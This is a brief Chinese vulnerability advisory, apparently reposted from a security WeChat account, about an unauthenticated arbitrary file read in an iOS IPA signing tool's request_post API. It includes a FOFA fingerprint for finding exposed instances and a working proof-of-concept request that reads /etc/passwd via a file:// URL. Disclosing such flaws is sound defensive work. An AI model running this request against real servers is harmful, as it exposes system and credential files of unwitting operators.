0x00.漏洞介绍

苹果IOS端IPA签名工具 request_post 存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等。

0x01.漏洞复现

fofa

body="/assets/index/css/mobileSelect.css"

poc

GET /api/index/request_post?url=file:///etc/passwd&post_data=1 HTTP/1.1Host: xxx.xxx.xxx.xxxConnection: close

0x03.修复建议

厂商已提供漏洞修补方案，请关注厂商主页及时更新

原文始发于微信公众号（深白网安）：苹果IOS端IPA签名工具任意文件读取漏洞